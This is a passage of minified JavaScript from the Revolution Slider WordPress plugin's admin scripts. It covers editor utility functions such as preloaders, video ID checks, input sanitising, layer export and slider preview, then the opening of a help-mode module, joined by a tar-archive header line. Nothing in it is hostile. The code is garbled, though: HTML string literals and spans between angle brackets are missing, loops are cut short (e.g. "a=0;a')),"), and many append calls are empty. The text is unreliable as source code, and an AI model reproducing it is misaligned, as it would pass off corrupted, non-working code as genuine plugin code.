a,r,o;for(e+="",t+="",regExStrip0=/(\.0+)+$/,segmentsA=e.replace(regExStrip0,"").split("."),segmentsB=t.replace(regExStrip0,"").split("."),l=Math.min(segmentsA.length,segmentsB.length),a=0;a')),RVS.S.miniPreloaderTL=tpGS.gsap.timeline({repeat:-1,delay:.3}),RVS.S.miniPreloaderTL.add(tpGS.gsap.fromTo(".circle-fill",.7,{drawSVG:"0%"},{drawSVG:"80%",ease:"none",force3D:!0}),0),RVS.S.miniPreloaderTL.add(tpGS.gsap.to(".circle-fill",.7,{drawSVG:"0%",ease:"none"}),1),RVS.S.miniPreloaderTL.add(tpGS.gsap.to(".circle-fill",.7,{rotation:360,ease:"none",transformOrigin:"50% 50%"}),0),RVS.S.miniPreloaderTL.add(tpGS.gsap.to(".circle-fill",.7,{rotation:0,ease:"none",transformOrigin:"50% 50%"}),.7)},RVS.F.miniPreloaderOut=function(e){RVS.S.miniPreloaderTL.reverse(),tpGS.gsap.to("#font_minipreloader",1,{scale:0,transformOrigin:"50% 50%",ease:"power3.inOut",overwrite:"all",force3D:!0,delay:.5,onComplete:e?function(){jQuery("#font_minipreloader").remove()}:function(){}})},RVS.F.miniPreloaderKill=function(){setTimeout(function(){jQuery("#font_minipreloader").remove()},2e3)},RVS.F.checkVimeoID=function(e){RVS.F.createMiniPreloader({container:jQuery("#video_id_wrap")}),jQuery("#hidden_video_container").remove(),jQuery(document.body).append('
    '),u=new Vimeo.Player("hidden_video_container",e),v=setTimeout(function(){jQuery("#layer_youtubevimeo_id").addClass("badvalue"),RVS.F.miniPreloaderOut()},3e3),u.ready().then(function(){jQuery("#layer_youtubevimeo_id").removeClass("badvalue"),RVS.F.miniPreloaderOut(),clearTimeout(v)}).catch(function(e){jQuery("#layer_youtubevimeo_id").addClass("badvalue"),RVS.F.miniPreloaderOut(),clearTimeout(v)})},RVS.F.checkYouTubeID=function(e){RVS.F.createMiniPreloader({container:jQuery("#video_id_wrap")}),jQuery("#hidden_video_container").remove(),jQuery(document.body).append('
    '),v=setTimeout(function(){jQuery("#layer_youtubevimeo_id").addClass("badvalue"),RVS.F.miniPreloaderOut()},3e3),window._youtubeplayer_=new YT.Player("hidden_video_container",{videoId:e.id,events:{onReady:function(){jQuery("#layer_youtubevimeo_id").removeClass("badvalue"),RVS.F.miniPreloaderOut(),clearTimeout(v)},onError:function(){console.log("ERROR"),jQuery("#layer_youtubevimeo_id").addClass("badvalue"),RVS.F.miniPreloaderOut(),clearTimeout(v)}}})},RVS.F.showMouseInfo=function(e){void 0===RVS.C.mouseInfo&&(RVS.C.mouseInfo=jQuery("#mouseInfoBox"),RVS.C.mouseInfo.appendTo(jQuery(document.body))),void 0!==e.html?RVS.C.mouseInfo[0].innerHTML=e.html:void 0!==e.text&&(RVS.C.mouseInfo[0].innerHTML=e.text),s=!0,RVS.C.mouseInfo[0].className=e.classes||""},RVS.F.hideMouseInfo=function(){s=!1,void 0!==RVS.C.mouseInfo&&tpGS.gsap.set(RVS.C.mouseInfo,{display:"none"})},RVS.F.os=function(){var e="Unknown OS";return-1!=navigator.appVersion.indexOf("Win")?e="Windows":-1!=navigator.appVersion.indexOf("Mac")?e="MacOS":-1!=navigator.appVersion.indexOf("X11")?e="UNIX":-1!=navigator.appVersion.indexOf("Linux")&&(e="Linux"),RVS.S.OSName=e,e},RVS.F.setEditorUrl=function(e){window.history&&window.history.pushState&&(window.lastUrlState=window.location.href,window.history.pushState({},null,window.location.origin+window.location.pathname+"?page=revslider&view=slide&id="+e),RVS.WIN.on("popstate",function(e){window.location.href=window.lastUrlState}))},RVS.F.getEditorUrl=function(){var e;window.location.href;return window.location.href.indexOf("alias=")>=0?RVS.SLIDER.slideIDs[0]:(e=window.location.href.indexOf("&id=")>=0?window.location.href.split("&id="):window.location.href.indexOf("?id=")>=0?window.location.href.split("?id="):window.location.href.split("id="),e=Array.isArray(e)?e[1]:RVS.SLIDER.slideIDs[0],e=RVS.F.isNumeric(e)?e:e.split("&")[0],e=RVS.F.isNumeric(e)?e:e.split("#")[0])},RVS.F.backToOverview=function(){window.location.href=window.location.origin+window.location.pathname+"?page=revslider"},RVS.F.getProportionalSizes=function(e){e.image.width=parseInt("100%"==e.image.width||"auto"==e.image.width?e.viewPort.width:e.image.width,0),e.image.height=parseInt("100%"==e.image.height||"auto"==e.image.height?e.viewPort.height:e.image.height,0),e.viewPort.width=parseInt("100%"==e.viewPort.width||"auto"==e.viewPort.width?e.image.width:e.viewPort.width,0),e.viewPort.height=parseInt("100%"==e.viewPort.height||"auto"==e.viewPort.height?e.image.height:e.viewPort.height,0);var t=e.image.width/e.image.height,i=e.viewPort.width/e.viewPort.height,a={width:e.image.width,height:e.image.height};switch(e.type){case"fit":t>i?(a.width=e.viewPort.width,a.height=e.viewPort.width/t):(a.width=e.viewPort.height*t,a.height=e.viewPort.height);break;case"cover-proportional":t<=i?(a.width=e.viewPort.width,a.height=e.viewPort.width/t):(a.width=e.viewPort.height*t,a.height=e.viewPort.height);break;case"fullwidth":a.width=e.viewPort.width,a.height=e.proportional?a.width/t:e.image.height;break;case"fullheight":a.height=e.viewPort.height,a.width=e.proportional?a.height/t:e.image.width;break;case"cover":a.width=e.viewPort.width,a.height=e.viewPort.height}return a},RVS.F.convPercVals=function(e){return!RVS.F.isNumeric(e)&&!1!==e&&void 0!==e&&!0!==e&&e.match(/%]/g)&&(e=e.split("[")[1].split("]")[0]),e},RVS.F.convertHexToRGB=function(e){return[(e=parseInt(e.indexOf("#")>-1?e.substring(1):e,16))>>16,(65280&e)>>8,255&e]},RVS.F.sanitize_input_ws=function(e){return e.replace(/[^-0-9a-zA-Z_ -]/g,"")},RVS.F.sanitize_columns=function(e){return e.replace(/[^-0-9+/]/g,"")},RVS.F.sanitize_input=function(e){if(null!==e)return e.replace(/ /g,"-").replace(/[^-0-9a-zA-Z_-]/g,"")},RVS.F.sanitize_alias=function(e){if(null!==e)return(e=e.replace(/ +(?= )/g,"")).replace(/ /g,"-").replace(/[^-0-9a-zA-Z_-]/g,"")},RVS.F.fontNameConvert=function(e){return e.replace(/"/g,"")},RVS.F.sanitize_input_lc=function(e){return e.replace(/ /g,"-").replace(/[^-0-9a-z_-]/g,"")},RVS.F.parseIntPlus=function(e){var t=parseInt(e,0);return RVS.F.isNumeric(t)?t:e},RVS.F.htmlToText=function(e){return e.replace(//g,">")},RVS.F.insertTextAtCursor=function(e,t){var i=e.getDoc(),a=i.getCursor();i.replaceRange(t,a)},RVS.F.getResizeDirection=function(e){return e.size.heighte.originalSize.height?"height":e.size.widthe.originalSize.width?"width":"none"},RVS.F.whichBGPos=function(e){return"custom"===e.position?e.positionX+"% "+e.positionY+"%":e.position},RVS.F.matchArray=function(e,t){if(!Array.isArray(e)||!Array.isArray(t))return!1;if(e.length!=t.length)return!1;var i=!0;for(var a in e)if(e.hasOwnProperty(a)&&-1===jQuery.inArray(e[a],t)){i=!1;break}if(i)for(var a in t)if(t.hasOwnProperty(a)&&-1===jQuery.inArray(t[a],e)){i=!1;break}return i},RVS.F.mergeArrays=function(e,t){for(var i in t)t.hasOwnProperty(i)&&-1===jQuery.inArray(t[i],e)&&e.push(t[i]);return e},RVS.F.makeArray=function(e,t){if(!Array.isArray(e)){for(var i=[],a=0;a=e.length)for(var a=i-e.length+1;a--;)e.push(void 0);return e.splice(i,0,e.splice(t,1)[0]),e},RVS.F.rArray=function(e,t){return jQuery.grep(e,function(e){return e!=t})},RVS.F._inArray=function(e,t){for(var i=-1,a=0;a=0?t=!0:RVS.F.isNumeric(e)&&(t=!0),t},RVS.F.retWitSuf=function(e,t){return!RVS.F.isNumeric(e)&&e.indexOf("px")>=0?parseInt(e)+"px":!RVS.F.isNumeric(e)&&e.indexOf("%")>=0?parseInt(e)+"%":!RVS.F.isNumeric(e)&&RVS.F.isNumeric(parseInt(e,0))?parseInt(e)+t:RVS.F.isNumeric(e)?e+t:void 0},RVS.F.firstCharUppercase=function(e){return e.substr(0,1).toUpperCase()+e.substr(1).toLowerCase()},RVS.F._d=function(e,t){return null==e?t:e},RVS.F._truefalse=function(e){return"false"===e||!1===e||"off"===e||void 0===e||0===e||-1===e?e=!1:"true"!==e&&!0!==e&&"on"!==e||(e=!0),e},RVS.F.cToResp=function(e){var t,i,a={},r=void 0===(e=void 0===e?{default:0,unit:""}:e).default?0:e.default,o=void 0===e.unit?"":e.unit;for(var s in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(s)){var n=RVS.V.sizes[s],d=RVS.V.sizesold[s];if("object"==typeof(r=Array.isArray(e.val)?e.val:void 0!==e.val&&"object"!=typeof e.val?e.val:void 0===e.val||"object"!=typeof e.val||void 0===e.val[d]||null===e.val[d]?r:e.val[d]))for(var l in a[n]=jQuery.extend(!0,{},{v:r,e:!1}),void 0!==e&&void 0!==e.val&&void 0!==e.val[d]&&(a[n].e=!0),r)r.hasOwnProperty(l)&&(a[n].v[l]=o.length>0&&"auto"!==r[l]&&"none"!==r[l]?parseFloat(r[l])+o:r[l],""==o&&(t=(""+a[n].v[l]).indexOf("%"),i=(""+a[n].v[l]).indexOf("px"),t>=0?a[n].v[l]=parseInt(a[n].v[l],0)+"%":i>=0&&(a[n].v[l]=parseInt(a[n].v[l],0)+"px")));else a[n]=jQuery.extend(!0,{},{v:o.length>0&&"auto"!==r&&"none"!==r&&""!==r?parseFloat(r)+o:r,e:!1,u:o}),void 0!==e&&void 0!==e.val&&void 0!==e.val[d]&&(a[n].e=!0),""===a[n].v&&""!==e.default&&(a[n].v=e.default),""==o&&!1!==a[n].v&&!0!==a[n].v&&(t=(""+a[n].v).indexOf("%"),i=(""+a[n].v).indexOf("px"),t>=0?a[n].v=parseInt(a[n].v,0)+"%":i>=0&&(a[n].v=parseInt(a[n].v,0)+"px"))}return a},RVS.F.cToVandU=function(e){var t={v:e.default,u:e.u};t.v=void 0===e.val?t.v:e.val;var i=0;if("object"==typeof t.v)for(var a in t.v)t.v.hasOwnProperty(a)&&(RVS.F.isNumeric(t.v[a])||(t.u=0==i&&t.v[a].indexOf("px")>=0?"px":0==i&&t.v[a].indexOf("%")>=0?"%":t.u,t.v[a]=parseInt(t.v[a],0)+t.u,i++));else RVS.F.isNumeric(t.v)||(t.u=0==i&&t.v.indexOf("px")>=0?"px":0==i&&t.v.indexOf("%")>=0?"%":t.u,t.v=parseInt(t.v,0)+t.u,i++);return t},RVS.F.exportLayerCombo=function(e){void 0===R&&(jQuery(document.body).append(''),R=jQuery("#downloadExportLayerCombo"));var t,i=RVS.SLIDER[RVS.S.slideId].slide.thumb.customAdminThumbSrcId,a={};for(var r in RVS.L)RVS.L.hasOwnProperty(r)&&("video"===RVS.L[r].type&&(t=RVS.L[r].media.id),"video"!==RVS.L[r].type&&(a[r]=jQuery.extend(!0,{},RVS.L[r])));return delete a.bottom,delete a.top,delete a.middle,a=JSON.stringify(RVS.F.simplifyAllLayer(a)),RVS.F.ajaxRequest("export_layer_group",{videoid:t,thumbid:i,layers:a,title:e.title},function(e){R[0].href=e.url,R[0].click()},!0,!0),"Exporting Layer Combo File"},RVS.F.compare=function(e,t,i){if(e==t)return!0;if(0==e&&0==t)return!0;if("min"===i&&("0"===e||0===e)&&"0px"==t)return!0;if(Array.isArray(e)&&Array.isArray(t)){if(e.length!==t.length)return!1;var a=!0;for(var r in e)a&&e[r]!==t[r]&&(a=!1);return a}return!1},RVS.F.simplifyObject=function(e,t,i){if("min"==i)for(var a in t)t.hasOwnProperty(a)&&("frameOrder"!=a&&"sessionFilterUsed"!=a&&"hoverFilterUsed"!=a&&"frameLength"!==a||delete t[a],"object"!=typeof t[a]||Array.isArray(t[a])?"text"!==a&&RVS.F.compare(e[a],t[a],i)&&delete t[a]:(void 0!==e[a]&&(t[a]=jQuery.extend(!0,{},RVS.F.simplifyObject(e[a],t[a],i))),"d"==a&&""+t[a].e=="true"&&null==t.d.v&&delete t[a],"chars"==a&&(t.chars=L(t.chars)),"words"==a&&(t.words=L(t.words)),"lines"==a&&(t.lines=L(t.lines)),"timeline"==a&&"8700"==t.timeline.startRelative&&9e3==t.timeline.start&&(delete t.timeline.startRelative,delete t.timeline.start),jQuery.isEmptyObject(t[a])&&delete t[a]));else for(var a in t)t.hasOwnProperty(a)&&("object"!=typeof t[a]||Array.isArray(t[a])?"text"!==a&&"endWithSlide"!==a&&RVS.F.compare(e[a],t[a],i)&&delete t[a]:(void 0!==e[a]&&"margin"!==a&&"padding"!==a&&(t[a]=jQuery.extend(!0,{},RVS.F.simplifyObject(e[a],t[a],i))),jQuery.isEmptyObject(t[a])&&delete t[a]));return t},RVS.F.removeEmptyChilds=function(e){var t={};for(var i in e)e.hasOwnProperty(i)&&("object"!=typeof e[i]&&(t[i]=e[i]),jQuery.isEmptyObject(e[i])||(t[i]=jQuery.extend(!0,{},RVS.F.removeEmptyChilds(e[i]))));return t},RVS.F.convertFraction=function(e){var t,i;return-1!==e.search("/")&&2===(i=e.split("/")).length&&(t=parseInt(i[0],10)/parseInt(i[1],10)),t||1/3},RVS.F.openPreivew=function(e){RVS.preview=void 0===RVS.preview?{selectedSize:"d",inited:!1,c:jQuery("#rbm_preview")}:RVS.preview,jQuery("#wpwrap").addClass("inRS_RSpreview"),document.getElementById("rbm_preview_moduletitle").innerHTML=e.title,document.getElementById("copy_shortcode_from_preview").value='[rev_slider alias="'+e.alias+'"][/rev_slider]',RVS.preview.open=!0,RVS.preview.inited||(RVS.preview.inited=!0,RVS.DOC.on("click",".rbm_prev_size_sel",function(){jQuery(".rbm_prev_size_sel.selected").removeClass("selected"),this.className+=" selected",RVS.preview.selectedSize=this.dataset.ref,RVS.F.updatePreviewSize()}),RVS.DOC.on("click","#rbm_preview .rbm_close",function(){jQuery("#wpwrap").removeClass("inRS_RSpreview"),RVS.F.RSDialog.close(),RVS.preview.open=!1,document.getElementById("rbm_preview_live").innerHTML=""}),RVS.F.initCopyClipboard(".copypreviewshortcode"),RVS.DOC.on("windowresized",function(){RVS.preview.open&&RVS.F.updatePreviewSize()})),RVS.preview.iframe=document.createElement("iframe"),document.getElementById("rbm_preview_live").appendChild(RVS.preview.iframe),RVS.F.RSDialog.create({modalid:"rbm_preview",bgopacity:.85});var t={id:e.id};"editor"===e.mode&&(t.data=RVS.F.getAllSliderDatas()),RVS.F.ajaxRequest("preview_slider",t,function(e){e.success?(RVS.preview.layouttype=e.layouttype,RVS.preview.sizes=e.size,RVS.preview.iframe.contentWindow.document.open(),RVS.preview.iframe.contentWindow.document.write(e.html),RVS.preview.iframe.contentWindow.document.close(),RVS.F.updatePreviewSize()):(RVS.F.showErrorMessage(e.message),jQuery("#rbm_preview .rbm_close").trigger("click"))},void 0,!0)},RVS.F.updatePreviewSize=function(){if(void 0!==RVS.preview&&void 0!==RVS.preview.sizes&&null!=RVS.preview.sizes.width&&null!=RVS.preview.sizes.height){var e=function(e,t){var i=!1,a={w:parseInt(e.width.d,0),h:e.height.d};for(var r in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(r)&&!0!==i&&(e.custom[RVS.V.sizes[r]]&&(a.w=parseInt(e.width[RVS.V.sizes[r]],0),a.h=parseInt(e.height[RVS.V.sizes[r]],0)),RVS.V.sizes[r]===t&&(i=!0));return a}(RVS.preview.sizes,RVS.preview.selectedSize),t={w:parseInt(RVS.preview.sizes.width[RVS.preview.selectedSize],0),h:parseInt(RVS.preview.sizes.height[RVS.preview.selectedSize],0)};!1===RVS.preview.sizes.custom[RVS.preview.selectedSize]&&(t.w=Math.min(e.w,RVS.ENV.grid_sizes[RVS.preview.selectedSize]),t.h=t.w/e.w*e.h),t.w=t.w-1;var i=Math.min(t.w,RVS.S.winw),a=Math.min(t.h+50,RVS.S.winh),r="fullscreen"===RVS.preview.layouttype||"fullwidth"===RVS.preview.layouttype,o="fullscreen"===RVS.preview.layouttype;tpGS.gsap.set(RVS.preview.c,{width:"d"===RVS.preview.selectedSize&&r?"100%":Math.max(690,i),height:"d"===RVS.preview.selectedSize&&o?"100%":a}),tpGS.gsap.set(RVS.preview.iframe,{maxHeight:"100%",maxWidth:"100%",margin:"auto",position:"relative",left:"50%",x:"-50%"}),RVS.preview.iframe.width=r?"m"===RVS.preview.selectedSize?Math.min(t.w,i):"100%":Math.min(t.w,i),RVS.preview.iframe.height=o&&"d"===RVS.preview.selectedSize?RVS.S.winh-50:t.h,RVS.F.RSDialog.center()}}}();admin/assets/js/modules/help.js000060400000054057151724235750012532 0ustar00/*! * REVOLUTION 6.0.0 HELP JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ jQuery(function(){if("undefined"!=typeof jQuery){var e,t,s,a,i,r,l,o,n,d,c,p,h,u,f,_,m,v,y,g,b,k,w,j,Q,S,C,R,x,T,O,V,H,G,P,N,A,I,L,q,E,F,D,M,z,J,W,B=":checked",U=new RegExp("layerinput|actioninput"),X=new RegExp("sliderinput|navstyleinput"),K=new RegExp("slideinput|added_slide_transition"),Y="*[data-r], *[data-select], *[data-helpkey], .ddTP, .revbuilder-colorpicker, .tponoffwrap, .fake_on_button, .added_slide_transition, .lal_group_member",Z=".frame_list_title, .intelligent_buttons";RVS.DOC.on("click","#help_menu .tponoffwrap",function(e){e.stopImmediatePropagation(),void 0!==RVS.ENV.plugin_url&&"undefined"!=typeof RVS&&"undefined"!=typeof tpGS&&(F?te():$())}),F?te():$(),showhidehelpdata.checked=!0,RVS.F.turnOnOffVisUpdate({btn:showhidehelpdata,input:showhidehelpdata}),jQuery(".help_wrap").on("mouseenter",function(){tpGS.gsap.set("#help_mode_modal",{inset:50+help_menu.clientHeight+"px 100% auto auto"}),G=!0,j&&(I=!0,ie())}).on("mouseleave",function(){tpGS.gsap.set("#help_mode_modal",{inset:50+help_menu.clientHeight+"px 100% auto auto"}),G=!1}),HelpGuide.toggleHelpAddOn=function(e,t){var s=t?"removeClass":"addClass";HelpGuide.allHelpPaths.find('.help-directory-menu[data-path="'+e+'"]')[s]("help-hide-addon"),oe(),D.trigger("click")},HelpGuide.extendHelpAddOns=function(s,i){for(var r=s.length,l=0;l'),RVS.F.ajaxRequest("get_help_directory",{},function(t){var n;if(t.success){try{n=JSON.stringify(t.data),n=JSON.parse(n)}catch(e){n=!1}n?(r=n.translations,a=n.helpindex,F=!0,function(){win=jQuery(window),l=jQuery("body");var t='
    touch_appsettingsgamepadburst_modelayers'+r.helpMode+''+r.instructions+'
    library_books '+r.viewDocs+'
    near_mesettingsgamepadburst_modelayers '+r.showOption+'
    close
    ';jQuery(t).prependTo(jQuery("#the_right_toolbar")),s=jQuery("#help_mode_title"),v=jQuery("#help_mode_title_wrap"),H=jQuery("#help_mode_description"),jQuery("#help-mode-buttons"),C=jQuery("#help_faq_results"),q=jQuery("#help_search_results"),E=jQuery("#help_options_results"),jQuery("#help_mode_search"),W=jQuery("#help_search_input").on("focus",ne).on("keyup",Pe),D=jQuery("#help_input_clear").on("click",function(){W.val("").trigger("keyup")}),s.data("origtext",s.html()),o=jQuery("#help_mode_modal").draggable({cancel:".help-no-drag, .help-mode-description, #help_mode_search_wrap"}).on("mouseenter",be).on("mouseleave",ke),jQuery("#help_modal_close").on("click",function(){l.removeClass("help-mode-active")}),Q=jQuery("#help_mode_documentation").on("click",function(){jQuery(".help-input-focus").removeClass("help-input-focus"),window.open(this.dataset.link)}),N=jQuery("#help_mode_option").on("click",Ge),J=jQuery(".help-results-wrap").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}),y=jQuery("#help_mode_video"),b=jQuery("#help_mode_video_wrap"),z=jQuery(".help-mode-description"),function(){for(var e=[[".fake_on_button","slider","size.custom.d"],['*[data-r="source.woo.types"]',"slider","source.post.types"],['*[data-r="source.woo.category"]',"slider","source.post.category"],['*[data-r="source.woo.sortBy"]',"slider","source.post.sortBy"],['*[data-r="source.woo.sortDirection"]',"slider","source.post.sortDirection"],['*[data-r="source.woo.maxProducts"]',"slider","source.post.maxPosts"],['*[data-r="source.woo.excerptLimit"]',"slider","source.post.excerptLimit"],["#row_column_structure","layer","row_column_structure"],[".colselector label_bigicon","layer","row_column_structure"],[".layer_rowbreak_icons","layer","group.columnbreakat"],[".modal_hor_selector","slider","modal.horizontal"],[".modal_ver_selector","slider","modal.vertical"]],t=0;t";for(var d=0;d'+p.description+""),p.article&&(_='assignment'+b+""),p.section)if(Array.isArray(p.section)){m="";for(var k=p.section.length,w=0;w'+p.section[w].replace(/\-\>/g,g)+""}else m=''+p.section.replace(/\-\>/g,g)+"";if(p.highlight&&HelpGuide.verifyObject(p.highlight)){var j="",Q="",S="",C="",R=p.dependency_id?' id="revhelp_'+p.dependency_id+'"':"";(v=p.highlight).menu&&(j=' data-menu="'+v.menu+'"'),v.modal&&(Q=' data-modal="'+v.modal+'"'),v.focus&&(S=' data-focus="'+v.focus+'"'),v.scrollTo&&(C=' data-scrollto="'+v.scrollTo+'"'),v.dependencies&&Array.isArray(v.dependencies)&&(C+=" data-dependencies='"+JSON.stringify(v.dependencies)+"'"),v="settings'+r.option+""}if(d===n){for(var x=0;x";i=0}e+='
  • '+t+""+p.title+'
    • '+m+y+_+v+"
  • "+f}else{switch(c){case"general_how_to":t="help_outline";break;case"slider_settings":t="settings";break;case"navigation_settings":t="gamepad";break;case"slide_settings":t="burst_mode";break;case"layer_settings":t="layers"}var T=c.replace(/\_/g," ").replace(/\b\w/g,function(e){return e.toUpperCase()});e+='
  • folderfolder_open'+T+"
    ",i++,re(p,"")}}}e+=""}function le(){var e=jQuery(this);return e.html()?e.children("li").not(".help-hide-addon").length:(e.remove(),!1)}function oe(){jQuery('.help-directory-menu[data-path="addons"]').each(function(){var e=jQuery(this);e.children("ul").filter(le).length?e.show():e.hide()})}function ne(){w=[],HelpGuide.allHelpPaths.find(".help-directory-target").each(function(e){for(var t="",s=jQuery(this).parents(".help-directory-menu").not(".help-hide-addon").toArray().reverse(),a=s.length,i=0;i1){var s=t.shift();return!!e.hasOwnProperty(s)&&de(e[s],t)}return!!e.hasOwnProperty(t[0])&&e[t[0]]}function ce(e,t,s){if(!t)return!1;if(s||(s=function(e,t){var s=e.attr("class");if(s){if(-1!==s.search(X))return function(e,t){return e.closest(".slider_general_collector").length?"slider":"nav"}(e);if(-1!==s.search(K)||-1!==t.search("#slide#"))return"slide";if(-1!==s.search(U)||-1!==t.search("#layer#"))return"layer"}return e.closest("#rbm_layer_action").length?"layer":e.closest(".mode__sliderlayout").length?"slider":e.closest(".mode__navlayout").length?"nav":e.closest(".mode__slidecontent").length?"layer":!!e.closest(".mode__slidelayout").length&&"slide"}(e,t)),!s)return!1;var i=-1!==t.indexOf("actions.")&&"actions";if("actions"===i&&(i=function(e){return-1!==e.search(/panorama|whiteboard|beforeafter/)?"addons":"actions"}(t)),0===t.indexOf("#frame#.")&&(i=function(e){return-1!==e.search("explode")&&"addons"}(t)),i||(i="slider"!==s?s:"general",i+="_submodule_trigger",i=jQuery("."+i+".selected").attr("id")),i){"nav"===s&&(s="navigation"),i=function(e,t){switch(t){case"progress":if("navigation_settings"===e)return"progress_bar";break;case"prev_image":return"preview_image";case"holiday_snow":return"snow"}return t}(s+="_settings",i=RVS.F.trim(i).toLowerCase().replace(".","").replace("&","and").replace(/\-/g,"_").replace(/\s/g,"_"));var r=a.editor_settings[s]&&a.editor_settings[s][i];if(r||(i="addons",r=a.editor_settings[s]&&a.editor_settings[s][i]),r){if(u="",function e(t,s,a){if(!u){var i,r=t.helpPath;if(r){i=(r=r.split(",")).length;for(var l=0;l=0){var l=t.split(".");return["editor_settings.slide_settings.addons.transitionpack."+(l=l[l.length-1]),a.editor_settings.slide_settings.addons.transitionpack,"."+l]}}}return!1}function pe(e,t,s){var a='',s){case"slider":i='settings';break;case"nav":i='gamepad';break;case"slide":i='burst_mode';break;case"layer":i='layers';break;case"doc":i='library_books';break;default:i='help_outline'}return a+=i+""+e+""}function he(){var e=this.dataset.path;_e(de(a,e),e)}function ue(e,t){var s=Math.max(E.height(),C.height()),a=Math.min(RVS.WIN.height()/3,s);J.height(a),J[0].scrollTop=0,J[1].scrollTop=0,J.RSScroll("update")}function fe(e,t){return(t.match(/(^|\s)help-\icon-\S+/g)||[]).join(" ")}function _e(e,t){var a=e.highlight,i=e.buttonTitle||e.title;t="general_how_to"!==(t=t.split("."))[0]?t[1].replace("_settings",""):"faq",g.text(i),s.html(t+" "+r.options),v.removeClass(fe).addClass("help-icon-"+t),H.html(e.description),z.show(),Q.attr("data-link",e.article).css("display","inline-block"),N.removeAttr("data-menu data-modal data-scrollto data-focus data-dependencies").removeClass(fe).addClass("help-icon-"+t).css("display","inline-block"),a?(a.menu&&N.attr("data-menu",a.menu),a.modal&&N.attr("data-modal",a.modal),a.scrollTo&&N.attr("data-scrollto",a.scrollTo),a.focus&&N.attr("data-focus",a.focus),a.dependencies&&Array.isArray(a.dependencies)&&N.attr("data-dependencies",JSON.stringify(a.dependencies))):N.hide(),l.addClass("help-mode-active")}function me(){p=setTimeout(function(){h||_||G||l.removeClass("help-mode-active")},3e3)}function ve(){var e;if(this.className&&-1!==this.className.search("frame_list_title")){var t=jQuery(this).closest(".keyframe_liste").attr("data-frame");if(!t)return;switch(t=t.replace("frame_","")){case"0":e="animation.in.from";break;case"1":e="animation.in.to";break;case"999":e="animation.out.to";break;default:e="animation.keyframe.to"}}else e=this.dataset.evt;this.dataset.helpkey=e,ye.call(this)}function ye(){var e=jQuery(this);if(!e.hasClass("opensettingstrigger")&&!e.hasClass("formcontainer")){clearTimeout(f),clearTimeout(n),jQuery(".help-input-focus").removeClass("help-input-focus");var t,s=this.dataset.helpkey||this.dataset.r;if(s||(s=(t=(t=e).attr("data-select")?jQuery(t.attr("data-select")):t.hasClass("ddTP")?t.prev("select"):t.hasClass("revbuilder-colorpicker")?t.find(".revbuilder-cpicker-component"):t.find("input[data-r]")).attr("data-helpkey")||t.attr("data-r")||""),t&&t.length||(t=e),s=function(e,t){return-1!==t.search("parallax.levels")&&3===(t=t.split(".")).length?t[0]+"."+t[1]:-1!==t.search("info.params")&&4===(t=t.split(".")).length?t[0]+"."+t[1]+"."+t[3]:e.hasClass("added_slide_transition")?"added_slide_transition":-1===t.search(/nav\.|bullets\./)?t:e.closest("#sr_bullets_styles_fieldset, #sr_tabs_styles_fieldset").length?-1===t.search("def")?"navigation.styles":"navigation.styles.default":e.closest("#sl_bullets_styles_fieldset, #sl_tabs_styles_fieldset").length?-1===t.search("def")?"navigation.styles":"navigation.styles.default":t}(t,s)){var a=s;"radio"===this.type&&(a+="."+this.value);var i=ce(t,a,e.attr("data-helproot"));(i||("radio"===this.type&&(i=ce(t,s,e.attr("data-helproot"))),i))&&(m=!0,M=!0,n=setTimeout(function(){if(m)if(clearTimeout(p),D.trigger("click"),_=!0,se(),_e(de(i[1],i[2].substr(1)),i[0]),e.hasClass("revbuilder-colorpicker")||e.hasClass("tponoffwrap")){var s=e.closest(".tponoffwrap");s.length?s.addClass("help-input-focus"):e.addClass("help-input-focus")}else e.attr("class")&&-1===e.attr("class").search(/bg_alignselector|layer_hor_selector|layer_ver_selector|layer_content_hor_selector|layer_content_ver_selector/)?t.addClass("help-input-focus"):e.addClass("help-input-focus")},500))}}}function ge(){m=!1,_=!1,me()}function be(){clearTimeout(p),h=!0}function ke(){h=!1,M&&!G&&me()}function we(){h||G||(M=!0,ke())}function je(){jQuery(this).removeClass(function(e,t){return(t.match(/(^|\s)help-\hover-\S+/g)||[]).join(" ")})}function Qe(){V&&(V=!1,l.off(".helpguidehover"),jQuery(".help-hover").removeClass("help-hover").each(je))}function Se(){l.off(".helpguidehover").one("click.helpguidehover",Qe)}function Ce(e,t){var s;clearTimeout(k),Qe(),"layers"===e?(t||(t="text"),c.addClass("help-hover"),c.addClass("help-hover-"+t)):(s=c.prev().addClass("help-hover"),"slideorder"===e?s.addClass("help-hover-slideorder"):"staticlayers"===e&&s.addClass("help-hover-staticlayers")),V=!0,k=setTimeout(Se,100)}function Re(){var e=jQuery(this);e.hasClass("tponoff")?e=e.closest(".tponoffwrap"):e.hasClass("revbuilder-cpicker-component")&&(e=e.closest(".revbuilder-colorpicker")),e.addClass("help-input-focus")}function xe(e){var t,s,a,i,r,l,o,n,d,c,p;switch((e=e.split("::"))[0]){case"layerselected":if(2===e.length&&(p=e[1]),p)for(n=p.split("||"),c="",-1!==(p=n[0]).search("{{")&&(c=" .tp-"+(o=(p=p.split("{{"))[1].split("}}")[0]),p=o),a=n.length,i="",t=0;t0&&(i+=", "),s=n[t],c&&(s=s.split("{{")[0]),i+="._lc_type_"+s+c;else i="._lc_";try{l=jQuery(i)}catch(e){l=!1}l&&l.length?(l.hasClass("_lc_content_")&&(l=l.closest("._lc_")),(r=l.filter(".selected")).length||(r=l.eq(0).trigger("click")),d=function(e){for(var t=e[0].className.split(" "),s=t.length;s--;)if(-1!==t[s].search("_lc_type_"))return t[s].replace("_lc_type_","");return!1}(r)):Ce("layers",p);break;case"addlayer":Ce("layers","text");break;case"addslide":Ce("slides");break;case"slideorder":Ce("slideorder");break;case"staticlayers":Ce("staticlayers");break;default:try{jQuery(e[0]).trigger("click")}catch(e){}}return d}function Te(e){return"true"===e||"on"===e||"false"!==e&&"off"!==e&&e}function Oe(e){return"#layer#"===e&&void 0!==RVS.selLayers&&Array.isArray(RVS.selLayers)&&RVS.selLayers.length?void 0!==RVS.S.clickedLayer?lastClickedLayer:RVS.selLayers[0].toString():"#slide#"===e&&void 0!==RVS.S.slideId?RVS.S.slideId:"#frame#"===e&&void 0!==RVS.S.keyFrame?RVS.S.keyFrame:"#action#"===e&&void 0!==RVS.S.actionIdx?RVS.S.actionIdx:e}function Ve(e){if(!(e=JSON.parse(e))||!Array.isArray(e))return!1;for(var 